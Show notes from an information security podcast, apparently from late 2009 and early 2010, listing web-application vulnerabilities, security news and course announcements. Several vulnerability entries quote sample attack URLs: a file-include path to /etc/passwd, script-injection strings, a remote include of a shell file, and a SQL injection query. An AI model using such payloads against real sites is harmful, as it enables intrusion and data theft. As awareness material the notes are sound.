InfoSec Podcast Episode 39 for January 5, 2010. This podcast is our contribution back to the community where we will discuss the vulnerabilities of interest, information security related news hopefully providing you a few laughs and a little knowledge.

Vulnerabilities of Interest:

1. Kayako eSupport is subject to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data. eSupport 3.04.10 is vulnerable; other versions may also be affected. Attackers can use a browser to exploit this issue.
2. NetworkManager is subject to a security-bypass vulnerability and an information-disclosure vulnerability. Attackers can exploit theses issues to obtain sensitive information or entice a user to connect to a network without certificate verification.  NetworkManager 0.7.2 is vulnerable; other versions may also be affected.  Attackers can use readily available tools to exploit these issues.
3. The ‘httpdx’ application is subject to a remote file-disclosure vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this vulnerability to view the source code of files in the context of the server process. This may aid in further attacks. This issue affects httpdx 1.5; other versions may be vulnerable as well. Example URL: http://www.example.com/file.php%20
4. BLOG:CMS is subject to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.  Attacker-supplied HTML and script code would run in the context of the affected website, potentially allowing the attacker to control how the site is rendered to the user.  Versions prior to BLOG:CMS 4.2.1e are vulnerable. An attacker can exploit this issue through a browser.
5. The BF Survey Pro component for Joomla! is subject to a local file-include vulnerability because it fails to properly sanitize user-supplied input.  This may allow the attacker to compromise the application and the computer; other attacks are also possible.  Example URL: http://www.example.com/index.php?option=com_bfsurvey&controller=../../../../../../../../../../etc/passwd%00
6. LXR Cross Referencer is subject to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.  LXR Cross Referencer 0.9.5 and 0.9.6 are affected; other versions may also be vulnerable. Example URL: http://www.example.com/lxr/ident?i=<script>alert(‘XSS’)</script>
7. BigAnt IM Server is subject to a remote buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.  An attacker can exploit this issue to execute code with the privileges of the user running the server. Failed exploit attempts will result in a denial-of-service condition.  BigAnt IM Server 2.52 is vulnerable; other versions may also be affected.

News item 5:http://www.computerweekly.com/Articles/2010/01/05/239811/Hackers-yet-to-succeed-in-250000-encryption-challenge.htm
Hackers have yet to claim the $250,000 prize offered by Israel-based data encryption firm Gold Lockto anyone who can defeat its technology.

News item 6:http://news.cnet.com/8301-17852_3-10424780-71.html?part=rss&subj=news&tag=2547-1_3-0-20
According to CNET, the No. 1 illegal download in 2009 was the “Kama Sutra.” The Indian manual for so many things sexual managed to beat out another manual of fundamental interest to a pirate’s survival on the tossing tempests of this world: “Adobe Photoshop Secrets.”

At No. 3, we have “The Complete Idiot’s Guide to Amazing Sex.” Followed, with geometric nerdy symmetry, by “The Lost Notebooks of Leonardo da Vinci.” Then, perhaps suggesting an interest in a post baby-making period, we have “Solar House–A Guide for the Solar Designer.”

News item 7: http://news.bbc.co.uk/2/hi/technology/8441080.stm
The BBC is reporting that Facebook has blocked a website from accessing people’s profiles in order to delete their online presence. The site, Web 2.0 Suicide Machine, offers to remove users from Facebook, Twitter, LinkedIn and Myspace.  It does not delete their accounts but changes the passwords and removes “friend” connections.  Facebook says that by collecting login credentials, the site violates its Statement of Rights and Responsibilities (SRR).

Seppukoo.com, which offers to remove people from Facebook, received a letter from the social network site’s lawyers in December 2009. Once they have deleted their friends Seppukoo clients can choose an image instead of their profile picture to remain as a “memorial”.  The site is run by a group called Les Liens Invisibles, and describes itself as an artistic project. The name Seppukoo is taken from a Japanese ritual form of suicide known as Seppuku.

While most of us were bringing in the New Year in our special (or un-special) way. How many of us remember what we were doing 10 years ago? Y2K?

As we will be partying in the New Year we’ve decided not to do a Podcast today.

InfoSec Podcast Episode 37 for December 30, 2009. This podcast is our contribution back to the community where we will discuss the vulnerabilities of interest, information security related news hopefully providing you a few laughs and a little knowledge.

Sponsors: This podcast is sponsored in part by Webspeedway, your Virtual IT Department. When your systems are down, as a small and medium-sized businesses the resulting downtime can have a devastating impact.

Webspeedway specializes in providing proactive solutions to mitigate the risks of downtime, data loss, e-mail viruses and the many other threats to your business systems. Webspeedway provides the services of a Fortune 500 IT department, including 24 x 7 monitoring and on-site support, all at a fraction of the cost of even one employee.

Goto www.webspeedway.com today to learn about their cost-effective IT management solutions for your business.

Announcements:
Community SANS Atlanta 2010 Spring Schedule has been posted.

SEC-606: Drive and Data Recovery Forensics 2/9/10 to 2/13/10
SEC-502: Perimeter Protection In-Depth 2/22/10 to 2/27/10
AUD-507: Auditing Networks, Perimeters, and Systems 3/15/10 to 3/20/10
MGT-512: SANS Security Leadership Essentials For Managers with Knowledge Compression 4/15/10 to 4/21/10
SEC-566: 20 Critical Security Controls – In Depth 5/17/10 to 5/21/10

Go online to register by going to http://www.sans.org/atlanta-cs-events-2010/?utm_source=web-sans&utm_medium=banner&utm_content=Featured_Community_SANS_atlanta-2010-cs_events&utm_campaign=Community_SANS_Atlanta_2010&ref=52093

or call (301) 654-SANS(7267).

Vulnerabilities of Interest:

1. RoseOnlineCMS is subject to a local file-include vulnerability because it fails to properly sanitize user-supplied input which could be exploited to obtain potentially sensitive information or to execute local scripts. RoseOnlineCMS 3 B1 is vulnerable; other versions may also be affected. Example URL: http://www.example.com/modules/admincp.php?admin=[LFI%00]
2. phpAuction is subject to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data this could lead to execution of script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Example URLs: http://www.example.com/phpauction/register.php?TPL_name=1>”><ScRiPt%20%0d%0a>alert(213771818860)%3B</ScRiPt>&TPL_nick=indoushka&TPL_password=indoushka@hotmail.com&TPL_repeat_password=indoushka@hotmail.com&TPL_email=indoushka@hotmail.com and http://www.example.com/phpauction/register.php?TPL_name=indoushka&TPL_nick=1%3E%22%3E%3CScRiPt%20%0d%0a%3Ealert(213771818860)%3B%3C/ScRiPt%3E&TPL_password=indoushka@hotmail.com&TPL_repeat_password=indoushka@hotmail.com&TPL_email=indoushka@hotmail.com&TP
3. The ‘com_adagency’ component for Joomla! is subject to a local file-include vulnerability because it fails to properly sanitize user-supplied input which could allow an attacker to potentially obtain sensitive information and execute local scripts in the context of the webserver process. Example URL: http://www.example.com/index.php?option=com_adagency&controller= [-LFI-]
4. The Memory Book component for Joomla! is subject to an SQL-injection vulnerability and an arbitrary-file-upload vulnerability which could allow an attacker to compromise the application, upload files, execute code, access or modify data, or exploit other vulnerabilities in the underlying database. Memory Book 1.2 is vulnerable; other versions may also be affected. All you need is a browser to exploit this vulnerability.
5. DrBenHur.com DBHcms is subject to a remote file-include vulnerability because it fails to properly sanitize user-supplied input which could allow an attacker to include an file containing malicious PHP code and execute it in the context of the webserver process. This may lead to a compromise of the application and the underlying system; other attacks are also possible. DBHcms 1.1.4 is vulnerable; other versions may also be affected. Example URL: http://www.example.com/index.php?dbhcms_core_dir=http://www.example.org/shell.txt%00
6. UPDATE: Microsoft IIS security-bypass vulnerability was reported to have a vulnerability which could cause IIS to interpret unexpected files as CGI applications. For an exploit to succeed, IIS must be configured in a nondefault way and contrary to the vendor’s recommended best practices.
7. The Q-Personel component for Joomla! is subject to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input which could be leveraged to execute script code in the browser of an unsuspecting user. Q-Personel 1.0.2(RC2) is vulnerable; other versions may be affected as well. Example URL: http://www.example.com/j15x/index.php?option=com_qpersonel&task=sirala&personel_sira=[XSS CODE]
8. Stash is subject to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data which could be leveraged to execute script code in the browser of an unsuspecting user. Stash 1.0.3 is vulnerable; other versions may also be affected. To exploit these issues, an attacker get the victim into following a malicious URL.
9. Calendar Express is subject to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query which could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. Example URL: http://www.example.com/calendarexpress2.1/year.php?catid=-4+union+select+0,convert(concat(USER(),0x3a,VERSION(),0x3a,DATABASE())+usi

News item 13:http://www.scmagazineuk.com/mbna-confirms-data-loss-after-laptop-containing-personal-details-of-thousands-of-customers-was-stolen-from-vendor/article/160217/
http://www.net-security.org/secworld.php?id=8656
http://www.lep.co.uk/news/Customer-credit-card-details-stolen.5929370.jp
MBNA is notifying thousands of customers that a laptop stolen from NCO Europe offices contains their credit card information. NCO Europe is a third-party contractor. Although the files do contain personal information, no PINs are believed to be included. While no fraudulent activity has been detected on the compromised accounts, MBNA is offering affected customers one year of credit monitoring service and is monitoring all compromised accounts.